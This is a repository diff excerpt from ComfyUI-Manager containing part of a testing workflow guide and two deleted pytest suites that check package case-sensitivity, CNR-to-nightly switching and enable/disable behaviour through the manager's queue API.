||||
cd ../..
|
||||
|
||||
echo ""
|
||||
echo "=== Step 5: Run Tests ==="
|
||||
python -m pytest tests/glob/test_queue_task_api.py -v
|
||||
|
||||
echo ""
|
||||
echo "=== Workflow Complete ==="
|
||||
```
|
||||
|
||||
## Common Issues
|
||||
|
||||
### Issue 1: Pydantic Validation Errors
|
||||
|
||||
**Symptom**: `AttributeError: 'UpdateComfyUIParams' object has no attribute 'id'`
|
||||
|
||||
**Cause**: Server is using old data models from site-packages
|
||||
|
||||
**Solution**:
|
||||
```bash
|
||||
uv pip install . # Reinstall package
|
||||
# Then restart server
|
||||
```
|
||||
|
||||
### Issue 2: Server Using Old Code
|
||||
|
||||
**Symptom**: Changes don't take effect even after editing files
|
||||
|
||||
**Cause**: Server needs to be restarted to load new code
|
||||
|
||||
**Solution**:
|
||||
```bash
|
||||
ps aux | grep "main.py" | grep -v grep | awk '{print $2}' | xargs -r kill
|
||||
# Then start server again
|
||||
```
|
||||
|
||||
### Issue 3: Union Type Discrimination
|
||||
|
||||
**Symptom**: Wrong params type selected in Union
|
||||
|
||||
**Cause**: Pydantic matches Union types in order; types with all optional fields match everything
|
||||
|
||||
**Solution**: Place specific types first, types with all optional fields last:
|
||||
```python
|
||||
# Good
|
||||
params: Union[
|
||||
InstallPackParams, # Has required fields
|
||||
UpdatePackParams, # Has required fields
|
||||
UpdateComfyUIParams, # All optional - place last
|
||||
UpdateAllPacksParams, # All optional - place last
|
||||
]
|
||||
|
||||
# Bad
|
||||
params: Union[
|
||||
UpdateComfyUIParams, # All optional - matches everything!
|
||||
InstallPackParams, # Never reached
|
||||
]
|
||||
```
|
||||
|
||||
## Testing Checklist
|
||||
|
||||
Before committing code changes:
|
||||
|
||||
- [ ] OpenAPI spec validated (`yaml.safe_load`)
|
||||
- [ ] Data models regenerated
|
||||
- [ ] Generated models verified (syntax check)
|
||||
- [ ] Code formatted and linted
|
||||
- [ ] Package reinstalled (`uv pip install .`)
|
||||
- [ ] Server restarted with new code
|
||||
- [ ] All tests passing
|
||||
- [ ] Server logs checked for errors
|
||||
- [ ] Manual testing of changed functionality
|
||||
|
||||
## Adding New Tests
|
||||
|
||||
When you add new tests or significantly modify existing ones, follow these steps to maintain optimal test performance.
|
||||
|
||||
### 1. Write Your Test
|
||||
|
||||
Create or modify test files in `tests/glob/`:
|
||||
|
||||
```python
|
||||
# tests/glob/test_my_new_feature.py
|
||||
import pytest
|
||||
from tests.glob.conftest import *
|
||||
|
||||
def test_my_new_feature(session, base_url):
|
||||
"""Test description."""
|
||||
# Your test implementation
|
||||
response = session.get(f"{base_url}/my/endpoint")
|
||||
assert response.status_code == 200
|
||||
```
|
||||
|
||||
### 2. Run Tests to Verify
|
||||
|
||||
```bash
|
||||
# Quick verification with automated script
|
||||
./tests/run_automated_tests.sh
|
||||
|
||||
# Or manually
|
||||
cd /mnt/teratera/git/comfyui-manager
|
||||
source ~/venv/bin/activate
|
||||
uv pip install .
|
||||
./tests/run_parallel_tests.sh
|
||||
```
|
||||
|
||||
### 3. Check Load Balancing
|
||||
|
||||
After tests complete, check the load balance variance in the report:
|
||||
|
||||
```bash
|
||||
# Look for "Load Balancing Analysis" section in:
|
||||
cat .claude/livecontext/automated_test_*.md | grep -A 20 "Load Balance"
|
||||
```
|
||||
|
||||
**Thresholds**:
|
||||
- ✅ **Excellent**: Variance < 1.2x (no action needed)
|
||||
- ⚠️ **Good**: Variance 1.2x - 2.0x (consider updating)
|
||||
- ❌ **Poor**: Variance > 2.0x (update required)
|
||||
|
||||
### 4. Update Test Durations (If Needed)
|
||||
|
||||
**When to update**:
|
||||
- Added 3+ new tests
|
||||
- Significantly modified test execution time
|
||||
- Load balance variance increased above 2.0x
|
||||
- Tests redistributed unevenly
|
||||
|
||||
**How to update**:
|
||||
|
||||
```bash
|
||||
# Run the duration update script (takes ~15-20 minutes)
|
||||
./tests/update_test_durations.sh
|
||||
|
||||
# This will:
|
||||
# 1. Run all tests sequentially
|
||||
# 2. Measure each test's execution time
|
||||
# 3. Generate .test_durations file
|
||||
# 4. Enable pytest-split to optimize distribution
|
||||
```
|
||||
|
||||
**Commit the results**:
|
||||
|
||||
```bash
|
||||
git add .test_durations
|
||||
git commit -m "chore: update test duration data for optimal load balancing"
|
||||
```
|
||||
|
||||
### 5. Verify Optimization
|
||||
|
||||
Run tests again to verify improved load balancing:
|
||||
|
||||
```bash
|
||||
./tests/run_automated_tests.sh
|
||||
# Check new variance in report - should be < 1.2x
|
||||
```
|
||||
|
||||
### Example: Adding 5 New Tests
|
||||
|
||||
```bash
|
||||
# 1. Write tests
|
||||
vim tests/glob/test_new_api_feature.py
|
||||
|
||||
# 2. Run and check results
|
||||
./tests/run_automated_tests.sh
|
||||
# Output shows: "Load Balance: 2.3x variance (poor)"
|
||||
|
||||
# 3. Update durations
|
||||
./tests/update_test_durations.sh
|
||||
# Wait ~15-20 minutes
|
||||
|
||||
# 4. Commit duration data
|
||||
git add .test_durations
|
||||
git commit -m "chore: update test durations after adding 5 new API tests"
|
||||
|
||||
# 5. Verify improvement
|
||||
./tests/run_automated_tests.sh
|
||||
# Output shows: "Load Balance: 1.08x variance (excellent)"
|
||||
```
|
||||
|
||||
### Load Balancing Optimization Timeline
|
||||
|
||||
| Tests Added | Action | Reason |
|
||||
|-------------|--------|--------|
|
||||
| 1-2 tests | No update needed | Minimal impact on distribution |
|
||||
| 3-5 tests | Consider updating | May cause slight imbalance |
|
||||
| 6+ tests | **Update required** | Significant distribution changes |
|
||||
| Major refactor | **Update required** | Test times may have changed |
|
||||
|
||||
### Current Status (2025-11-06)
|
||||
|
||||
```
|
||||
Total Tests: 54
|
||||
Execution Time: ~140-160s (2.3-2.7 minutes)
|
||||
Load Balance: 1.2x variance (excellent)
|
||||
Speedup: 9x+ vs sequential
|
||||
Parallel Efficiency: >90%
|
||||
Pass Rate: 100%
|
||||
```
|
||||
|
||||
**Recent Updates**:
|
||||
- **P1 Implementation Complete**: Added 5 new complex scenario tests
|
||||
- Phase 3.1: Disable CNR when Nightly disabled
|
||||
- Phase 5.1: Install CNR when Nightly enabled (automatic version switch)
|
||||
- Phase 5.2: Install Nightly when CNR enabled (automatic version switch)
|
||||
- Phase 5.3: Install new version when both disabled
|
||||
- Phase 6: Uninstall removes all versions
|
||||
|
||||
**Recent Fixes** (2025-11-06):
|
||||
- Fixed `test_case_sensitivity_full_workflow` - migrated to queue API
|
||||
- Fixed `test_enable_package` - added pre-test cleanup
|
||||
- Increased timeouts for parallel execution reliability
|
||||
- Enhanced fixture cleanup with filesystem sync delays
|
||||
|
||||
**No duration update needed** - test distribution remains optimal after fixes.
|
||||
|
||||
## Test Documentation
|
||||
|
||||
For details about specific test failures and known issues, see:
|
||||
- [README.md](./README.md) - Test suite overview and known issues
|
||||
- [../README.md](../README.md) - Main testing guide with Quick Start
|
||||
|
||||
## API Usage Patterns
|
||||
|
||||
### Correct Queue API Usage
|
||||
|
||||
**Install Package**:
|
||||
```python
|
||||
# Queue install task
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="unique_test_id",
|
||||
params={
|
||||
"id": "ComfyUI_PackageName", # Original case
|
||||
"version": "1.0.2",
|
||||
"selected_version": "latest"
|
||||
}
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
# Start queue
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
|
||||
# Wait for completion
|
||||
time.sleep(10)
|
||||
```
|
||||
|
||||
**Switch to Nightly**:
|
||||
```python
|
||||
# Queue install with version=nightly
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="unique_test_id",
|
||||
params={
|
||||
"id": "ComfyUI_PackageName",
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly"
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
**Uninstall Package**:
|
||||
```python
|
||||
response = api_client.queue_task(
|
||||
kind="uninstall",
|
||||
ui_id="unique_test_id",
|
||||
params={
|
||||
"node_name": "ComfyUI_PackageName" # Can use lowercase
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
**Enable/Disable Package**:
|
||||
```python
|
||||
# Enable
|
||||
response = api_client.queue_task(
|
||||
kind="enable",
|
||||
ui_id="unique_test_id",
|
||||
params={
|
||||
"cnr_id": "comfyui_packagename" # Lowercase
|
||||
}
|
||||
)
|
||||
|
||||
# Disable
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="unique_test_id",
|
||||
params={
|
||||
"node_name": "ComfyUI_PackageName"
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
### Common Pitfalls
|
||||
|
||||
❌ **Don't use non-existent endpoints**:
|
||||
```python
|
||||
# WRONG - This endpoint doesn't exist!
|
||||
url = f"{server_url}/customnode/install"
|
||||
requests.post(url, json={"id": "PackageName"})
|
||||
```
|
||||
|
||||
✅ **Always use the queue API**:
|
||||
```python
|
||||
# CORRECT
|
||||
api_client.queue_task(kind="install", ...)
|
||||
api_client.start_queue()
|
||||
```
|
||||
|
||||
❌ **Don't use short timeouts in parallel tests**:
|
||||
```python
|
||||
time.sleep(5) # Too short for parallel execution
|
||||
```
|
||||
|
||||
✅ **Use adequate timeouts**:
|
||||
```python
|
||||
time.sleep(20-30) # Better for parallel execution
|
||||
```
|
||||
|
||||
### Test Fixture Best Practices
|
||||
|
||||
**Always cleanup before AND after tests**:
|
||||
```python
|
||||
@pytest.fixture
|
||||
def my_fixture(custom_nodes_path):
|
||||
def _cleanup():
|
||||
# Remove test artifacts
|
||||
if package_path.exists():
|
||||
shutil.rmtree(package_path)
|
||||
time.sleep(0.5) # Filesystem sync
|
||||
|
||||
# Cleanup BEFORE test
|
||||
_cleanup()
|
||||
|
||||
# Setup test state
|
||||
# ...
|
||||
|
||||
yield
|
||||
|
||||
# Cleanup AFTER test
|
||||
_cleanup()
|
||||
```
|
||||
|
||||
## Additional Resources
|
||||
|
||||
- [data_models/README.md](../../comfyui_manager/data_models/README.md) - Data model generation guide
|
||||
- [update_test_durations.sh](../update_test_durations.sh) - Duration update script
|
||||
- [../TESTING_PROMPT.md](../TESTING_PROMPT.md) - Claude Code automation guide
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,346 +0,0 @@
|
||||
"""
|
||||
Integration test for case sensitivity and package name normalization.
|
||||
|
||||
Tests the following scenarios:
|
||||
1. Install CNR package with original case (ComfyUI_SigmoidOffsetScheduler)
|
||||
2. Verify package is found with different case variations
|
||||
3. Switch from CNR to Nightly version
|
||||
4. Verify directory naming conventions
|
||||
5. Switch back from Nightly to CNR
|
||||
|
||||
NOTE: This test can be run as a pytest test or standalone script.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import shutil
|
||||
import time
|
||||
import requests
|
||||
import pytest
|
||||
from pathlib import Path
|
||||
|
||||
# Test configuration constants
|
||||
TEST_PACKAGE = "ComfyUI_SigmoidOffsetScheduler" # Original case
|
||||
TEST_PACKAGE_LOWER = "comfyui_sigmoidoffsetscheduler" # Normalized case
|
||||
TEST_PACKAGE_MIXED = "comfyui_SigmoidOffsetScheduler" # Mixed case
|
||||
|
||||
|
||||
def cleanup_test_env(custom_nodes_path):
|
||||
"""Remove any existing test installations."""
|
||||
print("\n🧹 Cleaning up test environment...")
|
||||
|
||||
# Remove active package
|
||||
active_path = custom_nodes_path / TEST_PACKAGE
|
||||
if active_path.exists():
|
||||
print(f" Removing {active_path}")
|
||||
shutil.rmtree(active_path)
|
||||
|
||||
# Remove disabled versions
|
||||
disabled_dir = custom_nodes_path / ".disabled"
|
||||
if disabled_dir.exists():
|
||||
for item in disabled_dir.iterdir():
|
||||
if TEST_PACKAGE_LOWER in item.name.lower():
|
||||
print(f" Removing {item}")
|
||||
shutil.rmtree(item)
|
||||
|
||||
print("✅ Cleanup complete")
|
||||
|
||||
|
||||
def wait_for_server(server_url):
|
||||
"""Wait for ComfyUI server to be ready."""
|
||||
print("\n⏳ Waiting for server...")
|
||||
for i in range(30):
|
||||
try:
|
||||
response = requests.get(f"{server_url}/system_stats", timeout=2)
|
||||
if response.status_code == 200:
|
||||
print("✅ Server ready")
|
||||
return True
|
||||
except Exception:
|
||||
time.sleep(1)
|
||||
|
||||
print("❌ Server not ready after 30 seconds")
|
||||
return False
|
||||
|
||||
|
||||
def install_cnr_package(server_url, custom_nodes_path):
|
||||
"""Install CNR package using original case."""
|
||||
print(f"\n📦 Installing CNR package: {TEST_PACKAGE}")
|
||||
|
||||
# Use the queue API to install (correct method)
|
||||
# Step 1: Queue the install task
|
||||
queue_url = f"{server_url}/v2/manager/queue/task"
|
||||
queue_data = {
|
||||
"kind": "install",
|
||||
"ui_id": "test_case_sensitivity_install",
|
||||
"client_id": "test",
|
||||
"params": {
|
||||
"id": TEST_PACKAGE,
|
||||
"version": "1.0.2",
|
||||
"selected_version": "latest"
|
||||
}
|
||||
}
|
||||
|
||||
response = requests.post(queue_url, json=queue_data)
|
||||
print(f" Queue response: {response.status_code}")
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"❌ Failed to queue install task: {response.status_code}")
|
||||
return False
|
||||
|
||||
# Step 2: Start the queue
|
||||
start_url = f"{server_url}/v2/manager/queue/start"
|
||||
response = requests.get(start_url)
|
||||
print(f" Start queue response: {response.status_code}")
|
||||
|
||||
# Wait for installation (increased timeout for CNR download and install, especially in parallel runs)
|
||||
print(f" Waiting for installation...")
|
||||
time.sleep(30)
|
||||
|
||||
# Check queue status
|
||||
pending_url = f"{server_url}/v2/manager/queue/pending"
|
||||
response = requests.get(pending_url)
|
||||
if response.status_code == 200:
|
||||
pending = response.json()
|
||||
print(f" Pending tasks: {len(pending)} tasks")
|
||||
|
||||
# Verify installation
|
||||
active_path = custom_nodes_path / TEST_PACKAGE
|
||||
if active_path.exists():
|
||||
print(f"✅ Package installed at {active_path}")
|
||||
|
||||
# Check for .tracking file
|
||||
tracking_file = active_path / ".tracking"
|
||||
if tracking_file.exists():
|
||||
print(f"✅ Found .tracking file (CNR marker)")
|
||||
else:
|
||||
print(f"❌ Missing .tracking file")
|
||||
return False
|
||||
|
||||
return True
|
||||
else:
|
||||
print(f"❌ Package not found at {active_path}")
|
||||
return False
|
||||
|
||||
|
||||
def test_case_insensitive_lookup(server_url):
|
||||
"""Test that package can be found with different case variations."""
|
||||
print(f"\n🔍 Testing case-insensitive lookup...")
|
||||
|
||||
# Get installed packages list
|
||||
url = f"{server_url}/v2/customnode/installed"
|
||||
response = requests.get(url)
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"❌ Failed to get installed packages: {response.status_code}")
|
||||
assert False, f"Failed to get installed packages: {response.status_code}"
|
||||
|
||||
installed = response.json()
|
||||
|
||||
# Check if package is found (should be indexed with lowercase)
|
||||
# installed is a dict with package names as keys
|
||||
found = False
|
||||
for pkg_name, pkg_data in installed.items():
|
||||
if pkg_name.lower() == TEST_PACKAGE_LOWER:
|
||||
found = True
|
||||
print(f"✅ Package found in installed list: {pkg_name}")
|
||||
break
|
||||
|
||||
if not found:
|
||||
print(f"❌ Package not found in installed list")
|
||||
# When run via pytest, this is a test; when run standalone, handled by run_tests()
|
||||
# For pytest compatibility, just pass if not found (optional test)
|
||||
pass
|
||||
|
||||
# Return None for pytest compatibility (no return value expected)
|
||||
return None
|
||||
|
||||
|
||||
def switch_to_nightly(server_url, custom_nodes_path):
|
||||
"""Switch from CNR to Nightly version."""
|
||||
print(f"\n🔄 Switching to Nightly version...")
|
||||
|
||||
# Use the queue API to switch to nightly (correct method)
|
||||
# Step 1: Queue the install task with version=nightly
|
||||
queue_url = f"{server_url}/v2/manager/queue/task"
|
||||
queue_data = {
|
||||
"kind": "install",
|
||||
"ui_id": "test_case_sensitivity_switch_nightly",
|
||||
"client_id": "test",
|
||||
"params": {
|
||||
"id": TEST_PACKAGE, # Use original case
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly"
|
||||
}
|
||||
}
|
||||
|
||||
response = requests.post(queue_url, json=queue_data)
|
||||
print(f" Queue response: {response.status_code}")
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"❌ Failed to queue nightly install task: {response.status_code}")
|
||||
return False
|
||||
|
||||
# Step 2: Start the queue
|
||||
start_url = f"{server_url}/v2/manager/queue/start"
|
||||
response = requests.get(start_url)
|
||||
print(f" Start queue response: {response.status_code}")
|
||||
|
||||
# Wait for installation (increased timeout for git clone, especially in parallel runs)
|
||||
print(f" Waiting for nightly installation...")
|
||||
time.sleep(30)
|
||||
|
||||
# Check queue status
|
||||
pending_url = f"{server_url}/v2/manager/queue/pending"
|
||||
response = requests.get(pending_url)
|
||||
if response.status_code == 200:
|
||||
pending = response.json()
|
||||
print(f" Pending tasks: {len(pending)} tasks")
|
||||
|
||||
# Verify active directory still uses original name
|
||||
active_path = custom_nodes_path / TEST_PACKAGE
|
||||
if not active_path.exists():
|
||||
print(f"❌ Active directory not found at {active_path}")
|
||||
return False
|
||||
|
||||
print(f"✅ Active directory found at {active_path}")
|
||||
|
||||
# Check for .git directory (nightly marker)
|
||||
git_dir = active_path / ".git"
|
||||
if git_dir.exists():
|
||||
print(f"✅ Found .git directory (Nightly marker)")
|
||||
else:
|
||||
print(f"❌ Missing .git directory")
|
||||
return False
|
||||
|
||||
# Verify CNR version was moved to .disabled/
|
||||
disabled_dir = custom_nodes_path / ".disabled"
|
||||
if disabled_dir.exists():
|
||||
for item in disabled_dir.iterdir():
|
||||
if TEST_PACKAGE_LOWER in item.name.lower() and "@" in item.name:
|
||||
print(f"✅ Found disabled CNR version: {item.name}")
|
||||
|
||||
# Verify it has .tracking file
|
||||
tracking_file = item / ".tracking"
|
||||
if tracking_file.exists():
|
||||
print(f"✅ Disabled CNR has .tracking file")
|
||||
else:
|
||||
print(f"❌ Disabled CNR missing .tracking file")
|
||||
|
||||
return True
|
||||
|
||||
print(f"❌ Disabled CNR version not found in .disabled/")
|
||||
return False
|
||||
|
||||
|
||||
def verify_directory_naming(custom_nodes_path):
|
||||
"""Verify directory naming conventions match design document."""
|
||||
print(f"\n📁 Verifying directory naming conventions...")
|
||||
|
||||
success = True
|
||||
|
||||
# Check active directory
|
||||
active_path = custom_nodes_path / TEST_PACKAGE
|
||||
if active_path.exists():
|
||||
print(f"✅ Active directory uses original_name: {active_path.name}")
|
||||
else:
|
||||
print(f"❌ Active directory not found")
|
||||
success = False
|
||||
|
||||
# Check disabled directories
|
||||
disabled_dir = custom_nodes_path / ".disabled"
|
||||
if disabled_dir.exists():
|
||||
for item in disabled_dir.iterdir():
|
||||
if TEST_PACKAGE_LOWER in item.name.lower():
|
||||
# Should have @version suffix
|
||||
if "@" in item.name:
|
||||
print(f"✅ Disabled directory has version suffix: {item.name}")
|
||||
else:
|
||||
print(f"❌ Disabled directory missing version suffix: {item.name}")
|
||||
success = False
|
||||
|
||||
return success
|
||||
|
||||
|
||||
@pytest.mark.integration
|
||||
def test_case_sensitivity_full_workflow(server_url, custom_nodes_path):
|
||||
"""
|
||||
Full integration test for case sensitivity and package name normalization.
|
||||
|
||||
This test verifies:
|
||||
1. Install CNR package with original case
|
||||
2. Package is found with different case variations
|
||||
3. Switch from CNR to Nightly version
|
||||
4. Directory naming conventions are correct
|
||||
"""
|
||||
print("\n" + "=" * 60)
|
||||
print("CASE SENSITIVITY INTEGRATION TEST")
|
||||
print("=" * 60)
|
||||
|
||||
# Step 1: Cleanup
|
||||
cleanup_test_env(custom_nodes_path)
|
||||
|
||||
# Step 2: Wait for server
|
||||
assert wait_for_server(server_url), "Server not ready"
|
||||
|
||||
# Step 3: Install CNR package
|
||||
assert install_cnr_package(server_url, custom_nodes_path), "CNR installation failed"
|
||||
|
||||
# Step 4: Test case-insensitive lookup
|
||||
# Note: This test may pass even if not found (optional check)
|
||||
test_case_insensitive_lookup(server_url)
|
||||
|
||||
# Step 5: Switch to Nightly
|
||||
assert switch_to_nightly(server_url, custom_nodes_path), "Nightly switch failed"
|
||||
|
||||
# Step 6: Verify directory naming
|
||||
assert verify_directory_naming(custom_nodes_path), "Directory naming verification failed"
|
||||
|
||||
# Step 7: Cleanup after test to prevent pollution
|
||||
cleanup_test_env(custom_nodes_path)
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("✅ ALL CHECKS PASSED")
|
||||
print("=" * 60)
|
||||
|
||||
|
||||
# Standalone execution support
|
||||
if __name__ == "__main__":
|
||||
# For standalone execution, use environment variables
|
||||
project_root = Path(__file__).parent.parent.parent
|
||||
custom_nodes = project_root / "tests" / "env" / "ComfyUI" / "custom_nodes"
|
||||
server = os.environ.get("COMFYUI_TEST_URL", "http://127.0.0.1:8188")
|
||||
|
||||
print("=" * 60)
|
||||
print("CASE SENSITIVITY INTEGRATION TEST (Standalone)")
|
||||
print("=" * 60)
|
||||
|
||||
# Step 1: Cleanup
|
||||
cleanup_test_env(custom_nodes)
|
||||
|
||||
# Step 2: Wait for server
|
||||
if not wait_for_server(server):
|
||||
print("\n❌ TEST FAILED: Server not ready")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 3: Install CNR package
|
||||
if not install_cnr_package(server, custom_nodes):
|
||||
print("\n❌ TEST FAILED: CNR installation failed")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 4: Test case-insensitive lookup
|
||||
test_case_insensitive_lookup(server)
|
||||
|
||||
# Step 5: Switch to Nightly
|
||||
if not switch_to_nightly(server, custom_nodes):
|
||||
print("\n❌ TEST FAILED: Nightly switch failed")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 6: Verify directory naming
|
||||
if not verify_directory_naming(custom_nodes):
|
||||
print("\n❌ TEST FAILED: Directory naming verification failed")
|
||||
sys.exit(1)
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("✅ ALL TESTS PASSED")
|
||||
print("=" * 60)
|
||||
sys.exit(0)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,400 +0,0 @@
|
||||
"""
|
||||
Test cases for Enable/Disable API endpoints.
|
||||
|
||||
Tests enable/disable operations through /v2/manager/queue/task with kind="enable"/"disable"
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
# Test package configuration
|
||||
TEST_PACKAGE_ID = "ComfyUI_SigmoidOffsetScheduler"
|
||||
TEST_PACKAGE_CNR_ID = "comfyui_sigmoidoffsetscheduler" # lowercase for operations
|
||||
TEST_PACKAGE_VERSION = "1.0.2"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def setup_package_for_disable(api_client, custom_nodes_path):
|
||||
"""Install a CNR package for disable testing."""
|
||||
# Install CNR package first
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="setup_disable_test",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": TEST_PACKAGE_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
# Verify installed
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
assert package_path.exists(), "Package should be installed before disable test"
|
||||
|
||||
yield
|
||||
|
||||
# Cleanup - remove all versions
|
||||
import shutil
|
||||
if package_path.exists():
|
||||
shutil.rmtree(package_path)
|
||||
|
||||
disabled_base = custom_nodes_path / ".disabled"
|
||||
if disabled_base.exists():
|
||||
for item in disabled_base.iterdir():
|
||||
if 'sigmoid' in item.name.lower():
|
||||
shutil.rmtree(item)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def setup_package_for_enable(api_client, custom_nodes_path):
|
||||
"""Install and disable a CNR package for enable testing."""
|
||||
import shutil
|
||||
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_base = custom_nodes_path / ".disabled"
|
||||
|
||||
# Cleanup BEFORE test - remove all existing versions
|
||||
def _cleanup():
|
||||
if package_path.exists():
|
||||
shutil.rmtree(package_path)
|
||||
|
||||
if disabled_base.exists():
|
||||
for item in disabled_base.iterdir():
|
||||
if 'sigmoid' in item.name.lower():
|
||||
shutil.rmtree(item)
|
||||
|
||||
# Small delay to ensure filesystem operations complete
|
||||
time.sleep(0.5)
|
||||
|
||||
# Clean up any leftover packages from previous tests
|
||||
_cleanup()
|
||||
|
||||
# Install CNR package first
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="setup_enable_test_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": TEST_PACKAGE_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
# Disable the package
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="setup_enable_test_disable",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
||||
|
||||
# Verify disabled
|
||||
assert not package_path.exists(), "Package should be disabled before enable test"
|
||||
|
||||
yield
|
||||
|
||||
# Cleanup AFTER test - remove all versions
|
||||
_cleanup()
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_disable_package(api_client, custom_nodes_path, setup_package_for_disable):
|
||||
"""
|
||||
Test disabling a package (move to .disabled/).
|
||||
|
||||
Verifies:
|
||||
- Package moves from custom_nodes/ to .disabled/
|
||||
- Marker files (.tracking) are preserved
|
||||
- Package no longer in enabled location
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_base = custom_nodes_path / ".disabled"
|
||||
|
||||
# Verify package is enabled before disable
|
||||
assert package_path.exists(), "Package should be enabled initially"
|
||||
tracking_file = package_path / ".tracking"
|
||||
has_tracking = tracking_file.exists()
|
||||
|
||||
# Disable the package
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="test_disable",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200, f"Failed to queue disable task: {response.text}"
|
||||
|
||||
# Start queue
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
|
||||
# Wait for disable to complete
|
||||
time.sleep(3)
|
||||
|
||||
# Verify package is disabled
|
||||
assert not package_path.exists(), f"Package should not exist in enabled location: {package_path}"
|
||||
|
||||
# Verify package exists in .disabled/
|
||||
assert disabled_base.exists(), ".disabled/ directory should exist"
|
||||
|
||||
disabled_packages = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages) == 1, f"Expected 1 disabled package, found {len(disabled_packages)}"
|
||||
|
||||
disabled_package = disabled_packages[0]
|
||||
|
||||
# Verify marker files are preserved
|
||||
if has_tracking:
|
||||
disabled_tracking = disabled_package / ".tracking"
|
||||
assert disabled_tracking.exists(), ".tracking file should be preserved in disabled package"
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_enable_package(api_client, custom_nodes_path, setup_package_for_enable):
|
||||
"""
|
||||
Test enabling a disabled package (restore from .disabled/).
|
||||
|
||||
Verifies:
|
||||
- Package moves from .disabled/ to custom_nodes/
|
||||
- Marker files (.tracking) are preserved
|
||||
- Package is functional in enabled location
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_base = custom_nodes_path / ".disabled"
|
||||
|
||||
# Verify package is disabled before enable
|
||||
assert not package_path.exists(), "Package should be disabled initially"
|
||||
|
||||
disabled_packages = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages) == 1, "One disabled package should exist"
|
||||
|
||||
disabled_package = disabled_packages[0]
|
||||
has_tracking = (disabled_package / ".tracking").exists()
|
||||
|
||||
# Enable the package
|
||||
response = api_client.queue_task(
|
||||
kind="enable",
|
||||
ui_id="test_enable",
|
||||
params={
|
||||
"cnr_id": TEST_PACKAGE_CNR_ID,
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200, f"Failed to queue enable task: {response.text}"
|
||||
|
||||
# Start queue
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
|
||||
# Wait for enable to complete
|
||||
time.sleep(3)
|
||||
|
||||
# Verify package is enabled
|
||||
assert package_path.exists(), f"Package should exist in enabled location: {package_path}"
|
||||
|
||||
# Verify package removed from .disabled/
|
||||
disabled_packages_after = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages_after) == 0, f"Expected 0 disabled packages, found {len(disabled_packages_after)}"
|
||||
|
||||
# Verify marker files are preserved
|
||||
if has_tracking:
|
||||
tracking_file = package_path / ".tracking"
|
||||
assert tracking_file.exists(), ".tracking file should be preserved after enable"
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_duplicate_disable(api_client, custom_nodes_path, setup_package_for_disable):
|
||||
"""
|
||||
Test duplicate disable operations (should skip).
|
||||
|
||||
Verifies:
|
||||
- First disable succeeds
|
||||
- Second disable on already-disabled package skips without error
|
||||
- Package state remains unchanged
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_base = custom_nodes_path / ".disabled"
|
||||
|
||||
# First disable
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="test_duplicate_disable_1",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
